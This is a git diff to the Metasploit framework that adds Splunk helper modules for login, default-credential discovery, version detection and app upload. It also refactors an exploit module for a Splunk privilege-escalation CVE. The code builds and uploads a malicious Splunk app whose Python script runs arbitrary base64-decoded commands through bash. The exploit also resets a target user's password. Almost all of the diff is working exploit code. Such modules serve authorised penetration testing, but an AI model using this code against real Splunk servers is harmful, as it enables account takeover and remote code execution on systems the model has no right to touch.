diff --git a/lib/msf/core/exploit/remote/http/splunk.rb b/lib/msf/core/exploit/remote/http/splunk.rb new file mode 100644 index 000000000000..6cd1474fc72c --- /dev/null +++ b/lib/msf/core/exploit/remote/http/splunk.rb @@ -0,0 +1,30 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module HTTP + # This module provides a way of interacting with splunk installations + module Splunk + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Splunk::Apps + include Msf::Exploit::Remote::HTTP::Splunk::Base + include Msf::Exploit::Remote::HTTP::Splunk::Helpers + include Msf::Exploit::Remote::HTTP::Splunk::Login + include Msf::Exploit::Remote::HTTP::Splunk::URIs + include Msf::Exploit::Remote::HTTP::Splunk::Version + + def initialize(info = {}) + super + + register_options( + [ + Msf::OptString.new('TARGETURI', [true, 'The base path to the splunk application', '/']) + ], Msf::Exploit::Remote::HTTP::Splunk + ) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/remote/http/splunk/apps.rb b/lib/msf/core/exploit/remote/http/splunk/apps.rb new file mode 100644 index 000000000000..e752bb34d450 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/splunk/apps.rb @@ -0,0 +1,50 @@ +# -*- coding: binary -*- + +# This module provides a way of interacting with Splunk apps +module Msf::Exploit::Remote::HTTP::Splunk::Apps + # Uploads malicious app to splunk using admin cookie + # + # @param app_name [String] Name of the app to upload + # @param cookie [String] Valid admin's cookie + # @return [Boolean] true on success, false on error + def splunk_upload_app(app_name, cookie) + res = send_request_cgi({ + 'uri' => splunk_upload_url, + 'method' => 'GET', + 'cookie' => cookie + }) + + unless res&.code == 200 + vprint_error('Unable to get form state') + return false + end + + html = res.get_html_document + + data = Rex::MIME::Message.new + # fill the hidden fields from the form: state and splunk_form_key + html.at('[id="installform"]').elements.each do |form| + next unless form.attributes['value'] + + data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"") + end + data.add_part('1', nil, nil, 'form-data; name="force"') + data.add_part(splunk_helper_malicious_app(app_name), 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"") + post_data = data.to_s + + res = send_request_cgi({ + 'uri' => splunk_upload_url, + 'method' => 'POST', + 'cookie' => cookie, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data + }) + + unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/)) + vprint_error('Error uploading App') + return false + end + + true + end +end diff --git a/lib/msf/core/exploit/remote/http/splunk/base.rb b/lib/msf/core/exploit/remote/http/splunk/base.rb new file mode 100644 index 000000000000..c5873a33e4c0 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/splunk/base.rb @@ -0,0 +1,20 @@ +# -*- coding: binary -*- + +# Splunk base module +module Msf::Exploit::Remote::HTTP::Splunk::Base + # Checks if the site is online and running splunk + # + # @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running splunk, nil otherwise + def splunk_and_online? + res = send_request_cgi({ + 'uri' => splunk_url_login + }) + + return res if res&.body =~ /Splunk/ + + return nil + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + vprint_error("Error connecting to #{splunk_url_login}: #{e}") + return nil + end +end diff --git a/lib/msf/core/exploit/remote/http/splunk/helpers.rb b/lib/msf/core/exploit/remote/http/splunk/helpers.rb new file mode 100644 index 000000000000..fff987de6060 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/splunk/helpers.rb @@ -0,0 +1,94 @@ +# -*- coding: binary -*- + +# Module with helper methods for other Splunk module methods +module Msf::Exploit::Remote::HTTP::Splunk::Helpers + # Helper method to get tokens for login + # + # @param timeout [Integer] The maximum number of seconds to wait before the request times out + # @return [String, nil] Post data to use for login + def splunk_helper_extract_token(timeout = 20) + res = send_request_cgi({ + 'uri' => splunk_url_login, + 'method' => 'GET', + 'keep_cookies' => true + }, timeout) + + unless res&.code == 200 + vprint_error('Unable to get login tokens') + return nil + end + "session_id_#{datastore['RPORT']}=#{Rex::Text.rand_text_numeric(40)}; " << res.get_cookies + end + + # Helper method to construct malicious app in .tar.gz form + # + # @param app_name [String] Name of app to upload + # @return [Rex::Text] Malicious app in .tar.gz form + def splunk_helper_malicious_app(app_name) + # metadata folder + metadata = <<~EOF + [commands] + export = system + EOF + + # default folder + commands_conf = <<~EOF + [#{app_name}] + type = python + filename = #{app_name}.py + local = false + enableheader = false + streaming = false + perf_warn_limit = 0 + EOF + + app_conf = <<~EOF + [launcher] + author=#{Faker::Name.name} + description=#{Faker::Lorem.sentence} + version=#{Faker::App.version} + + [ui] + is_visible = false + EOF + + # bin folder + msf_exec_py = <<~EOF + import sys, base64, subprocess + import splunk.Intersplunk + + header = ['result'] + results = [] + + try: + proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output = proc.stdout.read() + results.append({'result': base64.b64encode(output).decode('utf-8')}) + except Exception as e: + error_msg = 'Error : ' + str(e) + results = splunk.Intersplunk.generateErrorResults(error_msg) + + splunk.Intersplunk.outputResults(results, fields=header) + EOF + + tarfile = StringIO.new + Rex::Tar::Writer.new tarfile do |tar| + tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io| + io.write metadata + end + tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io| + io.write commands_conf + end + tar.add_file("#{app_name}/default/app.conf", 0o644) do |io| + io.write app_conf + end + tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io| + io.write msf_exec_py + end + end + tarfile.rewind + tarfile.close + + Rex::Text.gzip(tarfile.string) + end +end diff --git a/lib/msf/core/exploit/remote/http/splunk/login.rb b/lib/msf/core/exploit/remote/http/splunk/login.rb new file mode 100644 index 000000000000..6d81b0391693 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/splunk/login.rb @@ -0,0 +1,78 @@ +# -*- coding: binary -*- + +# Module with Splunk login related methods +module Msf::Exploit::Remote::HTTP::Splunk::Login + # performs a splunk login + # + # @param username [String] Username + # @param password [String] Password + # @param timeout [Integer] The maximum number of seconds to wait before the request times out + # @return [String,nil] the session cookies as a single string on successful login, nil otherwise + def splunk_login(username, password, timeout = 20) + # gets cval cookies + cookie = splunk_helper_extract_token(timeout) + if cookie.nil? + vprint_error('Unable to extract login tokens') + return nil + end + + cval_value = cookie.match(/cval=([^;]*)/)[1] + # login post, should get back the splunkd_port and splunkweb_csrf_token_port cookies + res = send_request_cgi({ + 'uri' => splunk_url_login, + 'method' => 'POST', + 'cookie' => cookie, + 'vars_post' => + { + 'username' => username, + 'password' => password, + 'cval' => cval_value + } + }, timeout) + + unless res + vprint_error("FAILED LOGIN. '#{username}' : '#{password}' returned no response") + return nil + end + + unless res.code == 303 || (res.code == 200 && res.body.to_s.index('{"status":0}')) + vprint_error("FAILED LOGIN. '#{username}' : '#{password}' with code #{res.code}") + return nil + end + + print_good("SUCCESSFUL LOGIN. '#{username}' : '#{password}'") + return cookie << " #{res.get_cookies}" + end + + # The free version of Splunk does not require authentication. Instead, it'll log the + # user right in as 'admin'. If that's the case, no point to brute-force, either. + # + # @return [Boolean] true if auth is required, false otherwise + def splunk_is_auth_required? + cookie = splunk_helper_extract_token + res = send_request_raw({ + 'uri' => splunk_home, + 'cookie' => cookie + }) + + !(res && res.body =~ /Logged in as (.+)/) + end + + # Return the default credentials if found + # + # @return [Array, nil] username, password if found, nil otherwise + def splunk_default_creds + p = %r{Splunk's default credentials are
username: (.+)
password: (.+)}
+ res = send_request_raw({ 'uri' => target_uri.path })
+ user, pass = res.body.scan(p).flatten
+ return [user, pass] if user && pass
+ end
+
+ # Extract and test the default credentials, if found
+ #
+ # @return [String, nil] the session cookies as a single string on successful login, nil otherwise
+ def splunk_login_with_default_creds
+ user, pass = splunk_default_creds
+ splunk_login(user, pass) if user && pass
+ end
+end
diff --git a/lib/msf/core/exploit/remote/http/splunk/uris.rb b/lib/msf/core/exploit/remote/http/splunk/uris.rb
new file mode 100644
index 000000000000..48ee934f9d3a
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/splunk/uris.rb
@@ -0,0 +1,34 @@
+# -*- coding: binary -*-
+
+# Module with methods for commonly used splunk URLs
+module Msf::Exploit::Remote::HTTP::Splunk::URIs
+ # Returns the Splunk Login URL
+ #
+ # @return [String] Splunk Login URL
+ def splunk_url_login
+ normalize_uri(target_uri.path, 'en-US', 'account', 'login')
+ end
+
+ # Returns the Splunk URL for the user's page
+ #
+ # @param username [String] username of the account
+ # @return [String] Splunk user URL
+ def splunk_user_page(username = nil)
+ username = datastore['USERNAME'] if username.nil?
+ normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'services', 'authentication', 'users', username)
+ end
+
+ # Returns the URL for splunk home page
+ #
+ # @return [String] Splunk home page URL
+ def splunk_home
+ normalize_uri(target_uri.path, 'en-US', 'app', 'launcher', 'home')
+ end
+
+ # Returns the URL for splunk upload page
+ #
+ # @return [String] Splunk upload page URL
+ def splunk_upload_url
+ normalize_uri(target_uri.path, 'en-US', 'manager', 'appinstall', '_upload')
+ end
+end
diff --git a/lib/msf/core/exploit/remote/http/splunk/version.rb b/lib/msf/core/exploit/remote/http/splunk/version.rb
new file mode 100644
index 000000000000..162a55cd5e92
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/splunk/version.rb
@@ -0,0 +1,56 @@
+# -*- coding: binary -*-
+
+# Module to get version of splunk app
+module Msf::Exploit::Remote::HTTP::Splunk::Version
+ # Extracts the Splunk version information using authenticated cookie if available
+ #
+ # @param cookie_string [String] Valid cookie if available
+ # @return [String, nil] Splunk version if found, nil otherwise
+ def splunk_version(cookie_string = nil)
+ version = splunk_version_authenticated(cookie_string) if !cookie_string.nil?
+ return version if version
+
+ version = splunk_login_version
+ return version if version
+
+ nil
+ end
+
+ private
+
+ # Extracts splunk version from splunk user page using valid cookie
+ #
+ # @param cookie_string [String] Valid cookie
+ # @return [String] Splunk version
+ def splunk_version_authenticated(cookie_string)
+ res = send_request_cgi({
+ 'uri' => splunk_user_page,
+ 'vars_get' => {
+ 'output_mode' => 'json'
+ },
+ 'headers' => {
+ 'Cookie' => cookie_string
+ }
+ })
+
+ return nil unless res&.code == 200
+
+ body = res.get_json_document
+ body.dig('generator', 'version')
+ end
+
+ # Tries to extract splunk verion from login page
+ #
+ # @return [String, nil] Splunk version if found, otherwise nil
+ def splunk_login_version
+ res = send_request_cgi({
+ 'uri' => splunk_url_login,
+ 'method' => 'GET'
+ })
+
+ if res
+ match = res.body.match(/Splunk \d+\.\d+\.\d+/)
+ return match[0].split[1] if match
+ end
+ end
+end
diff --git a/modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb b/modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb
index 1468ba3ce3f6..cd0e8072574f 100644
--- a/modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb
+++ b/modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb
@@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::Remote::HTTP::Splunk
attr_accessor :cookie
@@ -99,7 +100,8 @@ def initialize(info = {})
end
def check
- splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
+ self.cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
+ fail_with(Failure::NoAccess, 'Authentication Failed') unless cookie
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']),
@@ -161,16 +163,20 @@ def cleanup
'method' => 'POST',
'cookie' => cookie,
'vars_post' => {
- 'splunk_form_key' => cookies_hash['splunkweb_csrf_token_8000']
+ 'splunk_form_key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"]
}
})
end
def exploit
splunk_change_password(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])
- splunk_login(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])
+ self.cookie = splunk_login(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])
- splunk_upload_app(app_name, datastore['SPLUNK_APP_FILE'])
+ if splunk_upload_app(app_name, cookie)
+ vprint_status('Splunk app uploaded successfully')
+ else
+ fail_with(Failure::Unknown, 'Failed to upload app')
+ end
@job_id = execute_command(payload.encoded, { app_name: app_name })
# TODO: distinguish commands that return output and commands that don't
@@ -189,7 +195,7 @@ def execute_command(cmd, opts = {})
'headers' =>
{
'X-Requested-With' => 'XMLHttpRequest',
- 'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000']
+ 'X-Splunk-Form-Key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"]
},
'vars_post' =>
{
@@ -212,50 +218,17 @@ def execute_command(cmd, opts = {})
body['data']
end
- def splunk_helper_extract_token(uri)
- res = send_request_cgi({
- 'uri' => normalize_uri(target_uri.path, uri),
- 'method' => 'GET',
- 'keep_cookies' => true
- })
-
- fail_with(Failure::Unreachable, 'Unable to get token') unless res&.code == 200
-
- "session_id_8000=#{rand_text_numeric(40)}; " << res.get_cookies
- end
-
- def splunk_login(username, password)
- # gets cval and splunkweb_uid cookies
- self.cookie = splunk_helper_extract_token('/en-US/account/login')
-
- # login post, should get back the splunkd_8000 and splunkweb_csrf_token_8000 cookies
- res = send_request_cgi({
- 'uri' => normalize_uri(target_uri.path, '/en-US/account/login'),
- 'method' => 'POST',
- 'cookie' => cookie,
- 'vars_post' =>
- {
- 'username' => username,
- 'password' => password,
- 'cval' => cookies_hash['cval']
- }
- })
-
- fail_with(Failure::UnexpectedReply, 'Unable to login') unless res&.code == 200
-
- cookie << " #{res.get_cookies}"
- end
-
def splunk_change_password(username, password)
# due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set
- do_login(username, password) unless cookie
+ self.cookie ||= splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
+ fail_with(Failure::NoAccess, 'Authentication Failed') unless cookie
print_status("Changing '#{username}' password to #{password}")
res = send_request_cgi({
'uri' => normalize_uri('/en-US/splunkd/__raw/services/authentication/users/', username),
'method' => 'POST',
'headers' => {
- 'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000'],
+ 'X-Splunk-Form-Key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"],
'X-Requested-With' => 'XMLHttpRequest'
},
'cookie' => cookie,
@@ -277,43 +250,6 @@ def splunk_change_password(username, password)
fail_with(Failure::BadConfig, "The user '#{username}' does not have 'install_app' capability. You may consider to target other user") unless capabilities.include? 'install_apps'
end
- def splunk_upload_app(app_name, _file_name)
- res = send_request_cgi({
- 'uri' => normalize_uri(target_uri.path, '/en-US/manager/appinstall/_upload'),
- 'method' => 'GET',
- 'cookie' => cookie
- })
-
- fail_with(Failure::UnexpectedReply, 'Unable to get form state') unless res&.code == 200
-
- html = res.get_html_document
-
- print_status("Uploading file #{app_name}")
-
- data = Rex::MIME::Message.new
- # fill the hidden fields from the form: state and splunk_form_key
- html.at('[id="installform"]').elements.each do |form|
- next unless form.attributes['value']
-
- data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"")
- end
- data.add_part('1', nil, nil, 'form-data; name="force"')
- data.add_part(splunk_app, 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"")
- post_data = data.to_s
-
- res = send_request_cgi({
- 'uri' => '/en-US/manager/appinstall/_upload',
- 'method' => 'POST',
- 'cookie' => cookie,
- 'ctype' => "multipart/form-data; boundary=#{data.bound}",
- 'data' => post_data
- })
-
- fail_with(Failure::Unknown, 'Error uploading App') unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
-
- print_good("#{app_name} successfully uploaded")
- end
-
# def splunk_fetch_job_output
# res = send_request_cgi({
# 'uri' => normalize_uri(target_uri.path, "/en-US/splunkd/__raw/servicesNS/#{datastore['TARGET_USER']}/#{app_name}/search/jobs/#{@job_id}/results"),
@@ -334,74 +270,6 @@ def splunk_upload_app(app_name, _file_name)
# Rex::Text.decode_base64(body['results'].first['result'])
# end
- def splunk_app
- # metadata folder
- metadata = <<~EOF
- [commands]
- export = system
- EOF
-
- # default folder
- commands_conf = <<~EOF
- [#{app_name}]
- type = python
- filename = #{app_name}.py
- local = false
- enableheader = false
- streaming = false
- perf_warn_limit = 0
- EOF
-
- app_conf = <<~EOF
- [launcher]
- author=#{Faker::Name.name}
- description=#{Faker::Lorem.sentence}
- version=#{Faker::App.version}
-
- [ui]
- is_visible = false
- EOF
-
- # bin folder
- msf_exec_py = <<~EOF
- import sys, base64, subprocess
- import splunk.Intersplunk
-
- header = ['result']
- results = []
-
- try:
- proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
- output = proc.stdout.read().decode('utf-8')
- results.append({'result': base64.b64encode(output.encode('utf-8')).decode('utf-8')})
- except Exception as e:
- error_msg = f'Error : {str(e)} '
- results = splunk.Intersplunk.generateErrorResults(error_msg)
-
- splunk.Intersplunk.outputResults(results, fields=header)
- EOF
-
- tarfile = StringIO.new
- Rex::Tar::Writer.new tarfile do |tar|
- tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io|
- io.write metadata
- end
- tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io|
- io.write commands_conf
- end
- tar.add_file("#{app_name}/default/app.conf", 0o644) do |io|
- io.write app_conf
- end
- tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io|
- io.write msf_exec_py
- end
- end
- tarfile.rewind
- tarfile.close
-
- Rex::Text.gzip(tarfile.string)
- end
-
def cookies_hash
cookie.split(';').each_with_object({}) { |name, h| h[name.split('=').first.strip] = name.split('=').last.strip }
end